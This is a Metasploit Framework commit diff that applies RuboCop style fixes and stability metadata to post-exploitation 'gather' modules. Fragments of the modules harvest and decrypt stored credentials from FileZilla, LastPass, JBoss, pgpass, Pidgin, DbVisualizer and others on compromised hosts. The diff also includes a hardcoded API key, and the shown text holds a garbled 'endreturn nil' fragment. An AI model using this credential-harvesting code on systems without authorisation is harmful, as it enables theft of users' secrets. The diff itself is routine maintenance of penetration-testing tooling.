Land #20107, modules/post/multi/gather: Resolve RuboCop violations

This commit is contained in:
cgranleese-r7
2025-04-30 16:10:36 +01:00
committed by GitHub
39 changed files with 527 additions and 315 deletions
@@ -32,6 +32,11 @@ class MetasploitModule < Msf::Post
stdapi_sys_config_getuid
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -241,7 +246,7 @@ class MetasploitModule < Msf::Post
store_loot('ios.backup.data', ctype, session, fdata, rname, "iOS Backup: #{rname}")
rescue ::Interrupt
raise $ERROR_INFO
rescue ::Exception => e
rescue StandardError => e
print_error("Failed to download #{fname}: #{e.class} #{e}")
end
@@ -22,7 +22,12 @@ class MetasploitModule < Msf::Post
'SessionTypes' => %w[shell meterpreter],
'References' => [
[ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ]
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
+6 -1
View File
@@ -29,7 +29,12 @@ class MetasploitModule < Msf::Post
'References' => [
[ 'URL', 'http://s3tools.org/kb/item14.htm' ],
[ 'URL', 'http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files' ]
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
+8 -4
View File
@@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => [ 'osx', 'win', 'linux' ],
'SessionTypes' => [ 'shell', 'meterpreter' ]
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -28,7 +33,6 @@ class MetasploitModule < Msf::Post
[
OptString.new('APIKEY', [true, 'VirusTotal API key', '501caf66349cc7357eb4398ac3298fdd03dec01a3e2f3ad576525aa7b57a1987']),
OptString.new('REMOTEFILE', [true, 'A file to check from the remote machine'])
]
)
end
@@ -43,11 +47,11 @@ class MetasploitModule < Msf::Post
# The supplied module name is ambiguous: undefined method `register_autofilter_ports'
#
url = URI.parse('https://www.virustotal.com/vtapi/v2/file/report')
req = Net::HTTP::Post.new(url.path, initheader = { 'Host' => 'www.virustotal.com' })
req = Net::HTTP::Post.new(url.path, { 'Host' => 'www.virustotal.com' })
req.set_form_data({ 'apikey' => api_key, 'resource' => checksum })
http = Net::HTTP.new(url.host, url.port)
http.use_ssl = true
res = http.start { |http| http.request(req) }
res = http.start { |h| h.request(req) }
unless res
print_error("#{rhost} - Connection timed out")
+7 -2
View File
@@ -15,7 +15,12 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => ['mangopdf <mangodotpdf[at]gmail.com>'],
'Platform' => %w[linux unix bsd osx windows],
'SessionTypes' => %w[meterpreter shell]
'SessionTypes' => %w[meterpreter shell],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -186,7 +191,7 @@ class MetasploitModule < Msf::Post
# Kills spawned chrome process in windows meterpreter sessions.
# In OSX and Linux the meterpreter sessions would stop as well.
if session.platform == 'windows'
kill_output = cmd_exec "#{kill_cmd} #{chrome_pid}"
cmd_exec "#{kill_cmd} #{chrome_pid}"
end
else
# Using shell_command for backgrounding process (&)
+47 -24
View File
@@ -30,6 +30,11 @@ class MetasploitModule < Msf::Post
stdapi_sys_config_getenv
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -37,7 +42,7 @@ class MetasploitModule < Msf::Post
[
OptString.new('PASSPHRASE', [false, 'The hardcoded passphrase used for encryption']),
OptInt.new('ITERATION_COUNT', [false, 'The iteration count used in key derivation', 10])
], super.class
]
)
end
@@ -138,6 +143,7 @@ class MetasploitModule < Msf::Post
db = {}
dbfound = false
version_found = false
# fetch config file
raw_xml.each_line do |line|
if version_found == false
@@ -155,7 +161,7 @@ class MetasploitModule < Msf::Post
db[:Namespace] = ''
end
# save
dbs << db if (db[:Alias] && db[:Type] && db[:Server] && db[:Port])
dbs << db if db[:Alias] && db[:Type] && db[:Server] && db[:Port]
db = {}
end
@@ -204,21 +210,31 @@ class MetasploitModule < Msf::Post
end
# Fill the tab and report eligible servers
dbs.each do |db|
if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
print_good("Reporting #{db[:Server]}")
report_host(host: db[:Server])
dbs.each do |database|
if ::Rex::Socket.is_ipv4?(database[:Server].to_s)
print_good("Reporting #{database[:Server]}")
report_host(host: database[:Server])
end
db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:UserID], db[:Password] ]
db_table << [
database[:Alias],
database[:Type],
database[:Server],
database[:Port],
database[:Database],
database[:Namespace],
database[:UserID],
database[:Password]
]
report_cred(
ip: db[:Server],
port: db[:Port].to_i,
service_name: db[:Type],
username: db[:UserID],
password: db[:Password]
ip: database[:Server],
port: database[:Port].to_i,
service_name: database[:Type],
username: database[:UserID],
password: database[:Password]
)
end
return db_table
end
@@ -245,7 +261,7 @@ class MetasploitModule < Msf::Post
# fetch config file
raw_xml.each_line do |line|
if version_found == false
vesrion_found = find_version(line)
version_found = find_version(line)
end
if line =~ /<Database id=/
@@ -253,7 +269,7 @@ class MetasploitModule < Msf::Post
elsif line =~ %r{</Database>}
dbfound = false
# save
dbs << db if (db[:Alias] && db[:Url])
dbs << db if db[:Alias] && db[:Url]
db = {}
end
@@ -287,33 +303,40 @@ class MetasploitModule < Msf::Post
end
# Fill the tab
dbs.each do |db|
if (db[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i)
dbs.each do |database|
if (database[:URL] =~ %r{[\S+\s+]+/+([\S+\s+]+):[\S+]+}i)
server = ::Regexp.last_match(1)
if ::Rex::Socket.is_ipv4?(server)
print_good("Reporting #{server}")
report_host(host: server)
end
end
db_table << [ db[:Alias], db[:Type], db[:URL], db[:UserID], db[:Password] ]
db_table << [
database[:Alias],
database[:Type],
database[:URL],
database[:UserID],
database[:Password]
]
report_cred(
ip: server,
port: '',
service_name: db[:Type],
username: db[:UserID],
password: db[:Password]
service_name: database[:Type],
username: database[:UserID],
password: database[:Password]
)
end
return db_table
end
def find_version(tag)
found = false
if tag =~ %r{<Version>([\S+\s+]+)</Version>}i
found = true
print_good("DbVisualizer version: #{::Regexp.last_match(1)}")
return true
end
found
false
end
def report_cred(opts)
@@ -349,7 +372,7 @@ class MetasploitModule < Msf::Post
des.decrypt
des.key = dk
des.iv = iv
password = des.update(enc_password) + des.final
des.update(enc_password) + des.final
end
def get_derived_key
+11 -8
View File
@@ -16,18 +16,21 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => %w[bsd linux osx solaris win],
'SessionTypes' => [ 'meterpreter', 'shell' ]
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('DOMAIN', [true, 'Domain to do a forward lookup bruteforce against.']),
OptPath.new('NAMELIST', [
true, 'List of hostnames or subdomains to use.',
::File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')
])
]
)
end
@@ -92,12 +95,12 @@ class MetasploitModule < Msf::Post
end
# Process the data returned by the host command
def process_nix(r, ns_opt)
r.each_line do |l|
data = l.scan(/(\S*) has address (\S*)$/)
next if data.empty?
def process_nix(data, ns_opt)
data.each_line do |line|
dns_data = line.scan(/(\S*) has address (\S*)$/)
next if dns_data.empty?
data.each do |e|
dns_data.each do |e|
print_good("#{ns_opt} #{e[1]}")
report_host(host: e[1], name: ns_opt.strip)
end
@@ -16,19 +16,21 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => %w[bsd linux osx solaris win],
'SessionTypes' => [ 'meterpreter', 'shell' ]
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptAddressRange.new('RHOSTS', [true, 'IP Range to perform reverse lookup against.'])
]
)
end
# Run Method for when run command is issued
def run
iprange = datastore['RHOSTS']
print_status("Performing DNS Reverse Lookup for IP range #{iprange}")
+6 -2
View File
@@ -17,7 +17,12 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => %w[bsd linux osx solaris win],
'SessionTypes' => [ 'meterpreter', 'shell' ]
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
@@ -156,7 +161,6 @@ class MetasploitModule < Msf::Post
def get_ip(host)
ip_add = []
cmd_exec('host', " #{host}").each_line do |l|
ip = ''
ip = l.scan(/has address (\S*)$/).join
ip_add << ip if ip != ''
end
+6 -1
View File
@@ -22,7 +22,12 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => ['Flibustier'],
'Platform' => %w[bsd linux osx unix],
'SessionTypes' => ['shell']
'SessionTypes' => ['shell'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
+6 -1
View File
@@ -21,7 +21,12 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => ['theLightCosine'],
'Platform' => %w[bsd linux osx unix win],
'SessionTypes' => ['shell', 'meterpreter' ]
'SessionTypes' => ['shell', 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
@@ -19,7 +19,12 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
'Platform' => %w[bsd linux osx unix],
'SessionTypes' => [ 'shell' ]
'SessionTypes' => [ 'shell' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
@@ -86,7 +91,7 @@ class MetasploitModule < Msf::Post
# been found, then save if there is enough to save
parse_fetchmailrc_line(line).each do |cred|
cred = defaults.merge(cred)
if (cred[:host] && cred[:protocol])
if cred[:host] && cred[:protocol]
if (cred[:users].size == cred[:passwords].size)
cred[:users].each_index do |i|
cred_table << [ cred[:users][i], cred[:passwords][i], cred[:host], cred[:protocol], cred[:port] ]
@@ -157,7 +162,7 @@ class MetasploitModule < Msf::Post
cred[:host] = (line =~ /\s+smtphost\s+(\S+)/ ? ::Regexp.last_match(1) : 'localhost')
cred[:protocol] = 'esmtp'
# save the ESMTP credentials if we've found enough
creds << cred if (cred[:users] && cred[:passwords] && cred[:host])
creds << cred if cred[:users] && cred[:passwords] && cred[:host]
# return all found credentials
creds
end
@@ -34,6 +34,11 @@ class MetasploitModule < Msf::Post
stdapi_sys_config_getuid
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -151,15 +156,15 @@ class MetasploitModule < Msf::Post
paths.each do |path|
print_status("Reading sitemanager.xml and recentservers.xml files from #{path}")
# @todo use File.read_file
if session.type == 'shell'
type = :shell
sites = session.shell_command("cat #{path}/sitemanager.xml")
recents = session.shell_command("cat #{path}/recentservers.xml")
print_status("recents: #{recents}")
creds = [parse_accounts(sites)]
creds << parse_accounts(recents) unless recents =~ /No such file/i
else
type = :meterp
sitexml = "#{path}\\sitemanager.xml"
present = begin
session.fs.file.stat(sitexml)
@@ -192,14 +197,9 @@ class MetasploitModule < Msf::Post
print_status('No recent connections where found.')
end
end
creds.each do |cred|
cred.each do |loot|
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
report_cred(
ip: loot['host'],
port: loot['port'],
@@ -286,12 +286,13 @@ class MetasploitModule < Msf::Post
creds << account
print_status(' Collected the following credentials:')
print_status(' Server: %s:%s' % [account['host'], account['port']])
print_status(' Protocol: %s' % account['protocol'])
print_status(' Username: %s' % account['user'])
print_status(' Password: %s' % account['password'])
print_line('')
print_status(" Server: #{account['host']}:#{account['port']}")
print_status(" Protocol: #{account['protocol']}")
print_status(" Username: #{account['user']}")
print_status(" Password: #{account['password']}")
print_line
end
return creds
end
+5
View File
@@ -30,6 +30,11 @@ class MetasploitModule < Msf::Post
stdapi_fs_search
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
+6 -12
View File
@@ -3,20 +3,9 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
#
# Standard Library
#
require 'tmpdir'
#
# Gems
#
require 'zip'
#
# Project
#
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
@@ -68,6 +57,11 @@ class MetasploitModule < Msf::Post
stdapi_sys_process_kill
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -455,7 +449,7 @@ class MetasploitModule < Msf::Post
rescue StandardError
print_error("Was not able to find '#{omnija_file}' in the compressed .JA file")
print_error('This could be due to a corrupt download or a unsupported Firefox/Iceweasel version')
return false
break
end
fdata
end
+6 -1
View File
@@ -22,7 +22,12 @@ class MetasploitModule < Msf::Post
'Henry Hoggard' # Add GPG 2.1 keys, stop writing empty files
],
'Platform' => %w[bsd linux osx unix],
'SessionTypes' => ['shell', 'meterpreter']
'SessionTypes' => ['shell', 'meterpreter'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
+7 -2
View File
@@ -23,7 +23,12 @@ class MetasploitModule < Msf::Post
],
'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'],
'SessionTypes' => ['meterpreter', 'shell'],
'References' => [ ['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] ]
'References' => [ ['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption'] ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -133,7 +138,7 @@ class MetasploitModule < Msf::Post
create_credential(credential_data)
end
@pass_hash.each do |_index, pass|
@pass_hash.each_value do |pass|
credential_data = {
origin_type: :session,
post_reference_name: refname,
+6 -1
View File
@@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post
],
'Platform' => %w[bsd linux osx unix],
'SessionTypes' => %w[shell],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
+37 -30
View File
@@ -13,20 +13,25 @@ class MetasploitModule < Msf::Post
super(
update_info(
info,
'Name' => 'Jboss Credential Collector',
'Name' => 'JBoss Credential Collector',
'Description' => %q{
This module can be used to extract the Jboss admin passwords for version 4,5 and 6.
This module can be used to extract the JBoss admin passwords for version 4, 5 and 6.
},
'License' => MSF_LICENSE,
'Author' => [ 'Koen Riepe (koen.riepe@fox-it.com)' ],
'Platform' => [ 'linux', 'win' ],
'SessionTypes' => [ 'meterpreter' ]
'SessionTypes' => [ 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
def report_creds(user, pass, port)
return if (user.empty? || pass.empty?)
return if user.empty? || pass.empty?
# Assemble data about the credential objects we will be creating
credential_data = {
@@ -41,7 +46,7 @@ class MetasploitModule < Msf::Post
credential_core = create_credential(credential_data)
if !port.is_a? Integer
if !port.is_a?(Integer)
print_error('Failed to detect port, defaulting to 8080 for creds database')
port = 8080
end
@@ -101,7 +106,7 @@ class MetasploitModule < Msf::Post
end
end
if version != 'NONE'
print_status("Found a Jboss installation version: #{version}")
print_status("Found a JBoss installation version: #{version}")
home = readhome(cmd_exec('printenv').split("\n"))
pwfiles = getpwfiles(cmd_exec('locate jmx-console-users.properties').split("\n"), home, version)
listenports = getports(version)
@@ -128,7 +133,7 @@ class MetasploitModule < Msf::Post
end
end
if version != 'NONE'
print_status("Found a Jboss installation version: #{version}")
print_status("Found a JBoss installation version: #{version}")
instances = wingetinstances(home, version)
pwfiles = winpwfiles(instances)
listenports = wingetport(instances)
@@ -165,7 +170,7 @@ class MetasploitModule < Msf::Post
type1.each do |file1|
next unless file1 && file1.include?(version)
print_status("Attempting to extract Jboss service ports from: #{file1}")
print_status("Attempting to extract JBoss service ports from: #{file1}")
begin
file1_read = read_file(file1).split("\n")
rescue StandardError
@@ -177,13 +182,13 @@ class MetasploitModule < Msf::Post
file1_read.each do |line|
if line.strip.include? 'deploy/httpha-invoker.sar'
parse = true
elsif ((line.strip == '</bean>') && portfound)
elsif (line.strip == '</bean>') && portfound
parse = false
elsif parse && line.include?('<property name="port">')
portnr = line.split('<property name="port">')[1].split('<')[0].to_i
port.push(portnr)
portfound = true
print_good("Jboss port found: #{portnr}")
print_good("JBoss port found: #{portnr}")
end
end
end
@@ -191,7 +196,7 @@ class MetasploitModule < Msf::Post
type2.each do |file2|
next unless file2 && file2.include?(version)
print_status("Attempting to extract Jboss service ports from: #{file2}")
print_status("Attempting to extract JBoss service ports from: #{file2}")
begin
xml2 = Nokogiri::XML(read_file(file2))
rescue StandardError
@@ -203,7 +208,7 @@ class MetasploitModule < Msf::Post
portnr = connector['port'].to_i
port.push(portnr)
print_good("Jboss port found: #{portnr}")
print_good("JBoss port found: #{portnr}")
break
end
end
@@ -211,8 +216,8 @@ class MetasploitModule < Msf::Post
end
def gathernix
print_status('Unix OS detected, attempting to locate Jboss services')
version = getversion(cmd_exec('locate jar-versions.xml').split("\n"))
print_status('Unix OS detected, attempting to locate JBoss services')
getversion(cmd_exec('locate jar-versions.xml').split("\n"))
end
def winhome
@@ -221,7 +226,7 @@ class MetasploitModule < Msf::Post
exec.each do |line|
next unless line.downcase.include?('java.exe') && line.downcase.include?('jboss')
print_status('Jboss service found')
print_status('JBoss service found')
parse = line.split('-classpath "')[1].split('\\bin\\')[0]
if parse[0] == ';'
home.push(parse.split(';')[1])
@@ -273,33 +278,33 @@ class MetasploitModule < Msf::Post
end
if file1
print_status("Attempting to extract Jboss service ports from: #{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml")
print_status("Attempting to extract JBoss service ports from: #{seed}\\conf\\bindingservice.beans\\META-INF\\bindings-jboss-beans.xml")
parse = false
portfound = false
file1.each do |line|
if line.strip.include? 'deploy/httpha-invoker.sar'
parse = true
elsif ((line.strip == '</bean>') && portfound)
elsif (line.strip == '</bean>') && portfound
parse = false
elsif parse && line.include?('<property name="port">')
portnr = line.split('<property name="port">')[1].split('<')[0].to_i
port.push(portnr)
portfound = true
print_good("Jboss port found: #{portnr}")
print_good("JBoss port found: #{portnr}")
end
end
end
next unless file2
print_status("Attempting to extract Jboss service ports from: #{seed}\\deploy\\jboss-web.deployer\\server.xml")
print_status("Attempting to extract JBoss service ports from: #{seed}\\deploy\\jboss-web.deployer\\server.xml")
xml2 = Nokogiri::XML(file2)
xml2.xpath('//Server//Connector').each do |connector|
next unless connector['protocol'].include? 'HTTP'
portnr = connector['port'].to_i
port.push(portnr)
print_good("Jboss port found: #{portnr}")
print_good("JBoss port found: #{portnr}")
break
end
end
@@ -308,20 +313,22 @@ class MetasploitModule < Msf::Post
def gatherwin
print_status('Windows OS detected, enumerating services')
homeArray = winhome
if !homeArray.empty?
homeArray.each do |home|
version_file = []
version_file.push("#{home}\\jar-versions.xml")
version = wingetversion(version_file, home)
end
else
print_status('No Jboss service has been found')
home_array = winhome
if home_array.empty?
print_status('No JBoss service has been found')
return
end
home_array.each do |home|
version_file = []
version_file.push("#{home}\\jar-versions.xml")
wingetversion(version_file, home)
end
end
def run
if sysinfo['OS'].include? 'Windows'
if sysinfo['OS'].include?('Windows')
gatherwin
else
gathernix
@@ -28,6 +28,11 @@ class MetasploitModule < Msf::Post
stdapi_fs_search
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -353,6 +358,7 @@ class MetasploitModule < Msf::Post
if exist?(datastore['JENKINS_HOME'] + '/secret.key.not-so-secret')
return datastore['JENKINS_HOME']
end
print_status(datastore['JENKINS_HOME'] + ' does not seem to contain secrets.')
end
+14 -8
View File
@@ -46,6 +46,11 @@ class MetasploitModule < Msf::Post
stdapi_sys_process_memory_write
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
@@ -158,7 +163,7 @@ class MetasploitModule < Msf::Post
account_map[account][browser]['lp_db_path'] = db_paths.first
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if !account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox'
else
account_map[account].delete(browser)
end
@@ -372,7 +377,7 @@ class MetasploitModule < Msf::Post
path = lp_data['localstorage_db'] + system_separator + 'lp.suid'
data = read_remote_file(path) if file?(path) # Read file if it exists
data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection
loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
account_map[account][browser]['lp_2fa'] = data
else # Chrome, Safari and Opera
loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
@@ -530,7 +535,8 @@ class MetasploitModule < Msf::Post
session_cookie_value = result[0][0]
end
return if session_cookie_value.blank?
next if session_cookie_value.blank?
# Check if cookie value needs to be decrypted
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
@@ -633,7 +639,7 @@ class MetasploitModule < Msf::Post
input.each_byte do |e|
if e < 128
output += e.chr
elsif (e > 127 && e < 2048)
elsif e > 127 && e < 2048
output += (e >> 6 | 192).chr
output += (e & 63 | 128).chr
else
@@ -666,9 +672,9 @@ class MetasploitModule < Msf::Post
addr = Rex::Text.pack_int64le(mem)
len = Rex::Text.pack_int64le(data.length)
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
pData = ret['pDataOut'].unpack('VVVV')
len = pData[0] + (pData[1] << 32)
addr = pData[2] + (pData[3] << 32)
p_data = ret['pDataOut'].unpack('VVVV')
len = p_data[0] + (p_data[1] << 32)
addr = p_data[2] + (p_data[3] << 32)
end
return '' if len == 0
@@ -736,7 +742,7 @@ class MetasploitModule < Msf::Post
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*')
decrypted_data = '' if decrypted_data.nil?
vault_data << decrypted_data if (label == 'url' || label == 'username' || label == 'password')
vault_data << decrypted_data if label == 'url' || label == 'username' || label == 'password'
pointer = pointer + 4 + length
end
+5
View File
@@ -31,6 +31,11 @@ class MetasploitModule < Msf::Post
core_channel_write
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
+1 -1
View File
@@ -11,7 +11,7 @@ class MetasploitModule < Msf::Post
info,
'Name' => 'Gather MinIO Client Key',
'Description' => %q{
This is a module that searches for MinIO Client credentials on a windows remote host.
This module searches for MinIO Client credentials on a Windows host.
},
'License' => MSF_LICENSE,
'References' => [
+33 -24
View File
@@ -17,41 +17,50 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => %w[bsd linux osx unix win],
'SessionTypes' => ['meterpreter']
'SessionTypes' => ['meterpreter'],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil])
]
)
end
# Run Method for when run command is issued
def run
print_status("Running module against #{sysinfo['Computer']}")
if !::File.exist?(datastore['RESOURCE'])
raise 'Resource File does not exist!'
else
::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|
next if cmd.strip.empty?
next if cmd[0, 1] == '#'
raise 'Resource File does not exist!' unless ::File.exist?(datastore['RESOURCE'])
begin
tmpout = "\n"
tmpout << "*****************************************\n"
tmpout << " Output of #{cmd}\n"
tmpout << "*****************************************\n"
print_status "Running command #{cmd.chomp}"
tmpout << cmd_exec(cmd.chomp)
vprint_status tmpout
command_log = store_loot('host.command', 'text/plain', session, tmpout,
"#{cmd.gsub(%r{\.|/|\s}, '_')}.txt", "Command Output \'#{cmd.chomp}\'")
print_good("Command output saved to: #{command_log}")
rescue ::Exception => e
print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
end
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
print_status("Running module against #{hostname} (#{session.session_host})")
::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|
next if cmd.strip.empty?
next if cmd.start_with?('#')
begin
tmpout = "\n"
tmpout << "*****************************************\n"
tmpout << " Output of #{cmd}\n"
tmpout << "*****************************************\n"
print_status "Running command #{cmd.chomp}"
tmpout << cmd_exec(cmd.chomp)
vprint_status(tmpout)
command_log = store_loot(
'host.command',
'text/plain',
session,
tmpout,
"#{cmd.gsub(%r{\.|/|\s}, '_')}.txt",
"Command Output '#{cmd.chomp}'"
)
print_good("Command output saved to: #{command_log}")
rescue StandardError => e
print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
end
end
end
+7 -2
View File
@@ -18,7 +18,12 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],
'Platform' => %w[bsd linux osx unix],
'SessionTypes' => [ 'shell' ]
'SessionTypes' => [ 'shell' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
@@ -75,7 +80,7 @@ class MetasploitModule < Msf::Post
end
# save whatever remains of this last cred if it is worth saving
creds << cred if (cred[:host] && cred[:user] && cred[:pass])
creds << cred if cred[:host] && cred[:user] && cred[:pass]
end
# print out everything we've found
+10 -5
View File
@@ -20,7 +20,12 @@ class MetasploitModule < Msf::Post
'License' => MSF_LICENSE,
'Author' => ['Zach Grace <zgrace[at]403labs.com>'],
'Platform' => %w[linux bsd unix osx win],
'SessionTypes' => %w[meterpreter shell]
'SessionTypes' => %w[meterpreter shell],
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
end
@@ -34,7 +39,7 @@ class MetasploitModule < Msf::Post
files = enum_user_directories.map { |d| d + '/.pgpass' }.select { |f| file?(f) }
when 'windows'
if session.type != 'meterpreter'
print_error('Only meterpreter sessions are supported on windows hosts')
print_error('Only meterpreter sessions are supported on Windows hosts')
return
end
@@ -58,21 +63,21 @@ class MetasploitModule < Msf::Post
# Store the loot
print_good("Downloading #{f}")
pgpass_path = store_loot('postgres.pgpass', 'text/plain', session, read_file(f), f.to_s, "pgpass #{f} file")
print_good "Postgres credentials file saved to #{pgpass_path}"
print_good("Postgres credentials file saved to #{pgpass_path}")
# Store the creds
parse_creds(f)
end
end
# Store the creds to
def parse_creds(f)
def parse_creds(fname)
cred_table = Rex::Text::Table.new(
'Header' => 'Postgres Data',
'Indent' => 1,
'Columns' => ['Host', 'Port', 'DB', 'User', 'Password']
)
read_file(f).each_line do |entry|
read_file(fname).each_line do |entry|
# skip comments
next if entry.lstrip[0, 1] == '#'
+20 -16
View File
@@ -36,13 +36,17 @@ class MetasploitModule < Msf::Post
stdapi_sys_config_getuid
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [],
'Reliability' => []
}
)
)
register_options(
[
OptBool.new('CONTACTS', [false, 'Collect contact lists?', false]),
# Not supported yet OptBool.new('LOGS', [false, 'Gather log files?', false]),
]
)
end
@@ -85,6 +89,7 @@ class MetasploitModule < Msf::Post
home = '/home/'
end
# @todo use Msf::Post::File
if got_root?
userdirs = session.shell_command("ls #{home}").gsub(/\s/, "\n")
userdirs << "/root\n"
@@ -115,22 +120,21 @@ class MetasploitModule < Msf::Post
end
def check_pidgin(purpledir)
path = ''
print_status("Checking for Pidgin profile in: #{purpledir}")
session.fs.dir.foreach(purpledir) do |dir|
if dir =~ /\.purple/
if @platform == :windows
print_status("Found #{purpledir}\\#{dir}")
path = "#{purpledir}\\#{dir}"
else
print_status("Found #{purpledir}/#{dir}")
path = "#{purpledir}/#{dir}"
end
print_status("Found #{path}")
return path
end
end
return nil
endreturn nil
nil
end
def get_pidgin_creds(paths)
@@ -272,11 +276,11 @@ class MetasploitModule < Msf::Post
creds << account
print_status('Collected the following credentials:')
